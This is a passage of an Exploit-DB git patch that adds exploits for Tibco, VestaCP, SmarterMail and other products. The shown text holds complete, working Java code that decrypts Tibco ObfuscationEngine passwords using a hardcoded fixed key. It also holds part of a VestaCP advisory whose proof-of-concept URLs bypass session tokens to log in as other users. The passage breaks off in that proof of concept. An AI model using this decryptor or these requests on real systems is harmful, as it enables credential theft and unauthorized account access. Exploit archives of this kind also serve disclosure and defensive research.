From c5f0b6dbf5e349e4ad2d2c314842dde26f7d066b Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 10 Dec 2020 05:02:01 +0000 Subject: [PATCH] DB: 2020-12-10 9 changes to exploits/shellcodes Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption SmarterMail Build 6985 - Remote Code Execution Dup Scout Enterprise 10.0.18 - 'sid' Remote Buffer Overflow (SEH) Huawei HedEx Lite 200R006C00SPC005 - Path Traversal VestaCP 0.9.8-26 - 'LoginAs' Insufficient Session Validation VestaCP 0.9.8-26 - 'backup' Information Disclosure Task Management System 1.0 - 'First Name and Last Name' Stored XSS Task Management System 1.0 - Unrestricted File Upload to Remote Code Execution Task Management System 1.0 - 'id' SQL Injection --- exploits/multiple/local/49221.java | 136 ++++++++++++ exploits/multiple/webapps/49219.txt | 313 ++++++++++++++++++++++++++++ exploits/multiple/webapps/49220.txt | 258 +++++++++++++++++++++++ exploits/php/webapps/49222.txt | 16 ++ exploits/php/webapps/49223.txt | 23 ++ exploits/php/webapps/49224.txt | 32 +++ exploits/windows/remote/49216.py | 56 +++++ exploits/windows/remote/49217.py | 67 ++++++ exploits/windows/remote/49218.txt | 303 +++++++++++++++++++++++++++ files_exploits.csv | 9 + 10 files changed, 1213 insertions(+) create mode 100644 exploits/multiple/local/49221.java create mode 100644 exploits/multiple/webapps/49219.txt create mode 100644 exploits/multiple/webapps/49220.txt create mode 100644 exploits/php/webapps/49222.txt create mode 100644 exploits/php/webapps/49223.txt create mode 100644 exploits/php/webapps/49224.txt create mode 100755 exploits/windows/remote/49216.py create mode 100755 exploits/windows/remote/49217.py create mode 100644 exploits/windows/remote/49218.txt diff --git a/exploits/multiple/local/49221.java b/exploits/multiple/local/49221.java new file mode 100644 index 000000000..949b25bfa --- /dev/null +++ b/exploits/multiple/local/49221.java @@ -0,0 +1,136 @@ +# Exploit Title: Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption +# Date: December 8th 2020 +# Exploit Author: Tess Sluijter +# Vendor Homepage: https://www.tibco.com +# Version: 5.11x and before +# Tested on: MacOS, Linux, Windows + +# Tibco password decryption exploit + +## Background + +Tibco's documentation states that there are three modes of operation for this ObfuscationEngine tooling: + +1. Using a custom key. +2. Using a machine key. +3. Using a fixed key. + +https://docs.tibco.com/pub/runtime_agent/5.11.1/doc/pdf/TIB_TRA_5.11.1_installation.pdf?id=2 + +This write-up pertains to #3 above. +Secrets obfuscated using the Tibco fixed key can be recognized by the fact that they start with the characters #!. For example: "#!oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA". + +## Issues + +On Tibco's forums, but also on other websites, people have already shared Java code to decrypt secrets encrypted with this fixed key. For example: + +* https://support.tibco.com/s/article/Tibco-KnowledgeArticle-Article-30338 +* https://community.tibco.com/questions/password-encryptiondecryption +* https://community.tibco.com/questions/deobfuscatedecrypt-namevaluepairpassword-gv-file +* https://community.tibco.com/questions/bw6-password-decrypt +* http://tibcoworldin.blogspot.com/2012/08/decrypting-password-data-type-global.html +* http://tibcoshell.blogspot.com/2016/07/how-to-decrypt-encryptedmasked-password.html + +## Impact + +Regardless of country, customer, network or version of Tibco, any secret that was obfuscated with Tibco's ObfuscationEngine can be decrypted using my Java tool. It does **not** require access to Tibco software or libraries. All you need are exfiltrated secret strings that start with the characters #!. This is not going to be fixed by Tibco, this is a design decision also used for backwards compatibility in their software. + +## Instructions + +Compile with: + +javac decrypt.java + +Examples of running, with secrets retrieved from websites and forums: + +java Decrypt oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA +7474 + +java Decrypt BFBiFqp/qhvyxrTdjGtf/9qxlPCouNSP +tibco + +/* comments! +Compile with: + javac decrypt.java + +Run as: + java Decrypt oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA + 7474 + + java Decrypt BFBiFqp/qhvyxrTdjGtf/9qxlPCouNSP + tibco + */ + +import java.io.ByteArrayInputStream; +import java.util.Arrays; +import java.util.Base64; +import javax.crypto.Cipher; +import javax.crypto.SecretKey; +import javax.crypto.spec.SecretKeySpec; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.CipherInputStream; +import javax.crypto.CipherOutputStream; + + +class Decrypt +{ + public static void main (String [] arguments) + { + try + { + byte[] keyBytes = { 28, -89, -101, -111, 91, -113, 26, -70, 98, -80, -23, -53, -118, 93, -83, -17, 28, -89, -101, -111, 91, -113, 26, -70 }; + + String algo = "DESede/CBC/PKCS5Padding"; + + String encryptedText = arguments[0]; + byte[] message = Base64.getDecoder().decode(encryptedText); + + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(message); + + Cipher decipher = Cipher.getInstance(algo); + + int i = decipher.getBlockSize(); + byte[] ivSetup = new byte[i]; + byteArrayInputStream.read(ivSetup); + + SecretKey key = new SecretKeySpec(keyBytes, 0, keyBytes.length, "DESede"); + + decipher.init(2, key, new IvParameterSpec(ivSetup)); + + // Magic, I admit I don't understand why this is needed. + CipherInputStream cipherInputStream = new CipherInputStream(byteArrayInputStream, decipher); + char[] plaintext; + char[] arrayOfChar1 = new char[(message.length - i) / 2]; + byte[] arrayOfByte4 = new byte[2]; + byte b = 0; + + while (2 == cipherInputStream.read(arrayOfByte4, 0, 2)) { + arrayOfChar1[b++] = (char)((char)arrayOfByte4[1] << '\b' | (char)arrayOfByte4[0]); + } + + cipherInputStream.close(); + + if (b == arrayOfChar1.length) { + plaintext = arrayOfChar1; + } else { + char[] arrayOfChar = new char[b]; + System.arraycopy(arrayOfChar1, 0, arrayOfChar, 0, b); + for (b = 0; b < arrayOfChar1.length; b++) { + arrayOfChar1[b] = Character.MIN_VALUE; + } + + plaintext = arrayOfChar; + // End of Magic + } + + System.out.println(plaintext); + + } + + catch (Exception ex) + { + System.out.println("Barf..."); + System.out.println(ex); + } + } +} \ No newline at end of file diff --git a/exploits/multiple/webapps/49219.txt b/exploits/multiple/webapps/49219.txt new file mode 100644 index 000000000..4276cdfa2 --- /dev/null +++ b/exploits/multiple/webapps/49219.txt @@ -0,0 +1,313 @@ +# Exploit Title: VestaCP 0.9.8-26 - 'LoginAs' Insufficient Session Validation +# Date: 2020-11-26 +# Exploit Author: Vulnerability-Lab +# Vendor Homepage: https://vestacp.com/ +# Software Link: https://vestacp.com/install/ +# Version: 0.9.8-26 + +Document Title: +=============== +VestaCP v0.9.8-26 - (LoginAs) Token Session Vulnerability + + +References (Source): +==================== +https://www.vulnerability-lab.com/get_content.php?id=2240 + + +Release Date: +============= +2020-11-26 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +2240 + + +Common Vulnerability Scoring System: +==================================== +8.3 + + +Vulnerability Class: +==================== +Insufficient Session Validation + + +Current Estimated Price: +======================== +2.000€ - 3.000€ + + +Product & Service Introduction: +=============================== +Web interface is open source php and javascript interface based on Vesta +open API, it uses 381 vesta CLI calls. +The GNU General Public Licence is a free, copyleft licence for software +and other kinds of works. Its free to change, +modify and redistribute source code. + +(Copy of the Homepage: https://vestacp.com/features/ & +https://vestacp.com/install/ ) + + +Abstract Advisory Information: +============================== +The vulnerability laboratory core research team discovered a +insufficient session validation vulnerability in the VestaCP v0.9.8-26 +hosting web-application. + + +Affected Product(s): +==================== +Vesta +Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application) + + +Vulnerability Disclosure Timeline: +================================== +2020-05-04: Researcher Notification & Coordination (Security Researcher) +2020-05-05: Vendor Notification (Security Department) +2020-05-07: Vendor Response/Feedback (Security Department) +2020-**-**: Vendor Fix/Patch (Service Developer Team) +2020-**-**: Security Acknowledgements (Security Department) +2020-11-26: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Exploitation Technique: +======================= +Remote + + +Severity Level: +=============== +High + + +Authentication Type: +==================== +Pre Auth (No Privileges or Session) + + +User Interaction: +================= +No User Interaction + + +Disclosure Type: +================ +Full Disclosure + + +Technical Details & Description: +================================ +A session token vulnerability has been discovered in the official +VestaCP (Control Panel) v0.9.8-26 hosting web-application. +The vulnerability allows remote attackers to gain unauthenticated or +unauthorized access by client-side token manipulation. + +The token vulnerability is located in the function of the `LoginAs` +module. Remote attackers are able to perform LoginAs requests +without session token to preview there profiles. The attack requires +user account privileges for manipulation of the request. +The admin panel allows to request via token the local user accounts to +login as via account switch. In that moment the token +of the request can be removed to perform the same interaction with user +privileges. Thus allows to access other account +information without administrative permissions. The permission approval +on login request is insufficient regarding a +misconfiguration on the token implementation (client-side). + +Successful exploitation of the web vulnerability results in information +disclosure, user or admin account compromise and +elevation of privileges by further exploitation. + +Request Method(s): +[+] GET + +Vulnerable Module(s): +[+] /login/ + +Vulnerable Parameter(s): +[+] token + +Affected Parameter(s): +[+] loginas + + +Proof of Concept (PoC): +======================= +The token web vulnerability can be exploited by remote attackers with +simple user privileges without user interaction. +For security demonstration or to reproduce the vulnerability follow the +provided information and steps below to continue. + + +Request: Default (Download Backup) +https://vestacp.localhost:8083/login/?loginas=user&token=f230a989082eec102ad5a3bb81fd0190 +https://vestacp.localhost:8083/login/?loginas=admin&token=f230a989082eec102ad5a3bb81fd0190 + + +PoC: Exploitation +https://vestacp.localhost:8083/login/?loginas=user/.admin&token=null + + +PoC: Exploit + + +VestaCP (Control Panel) v0.9.8-26 - LoginAs User/Admin PoC +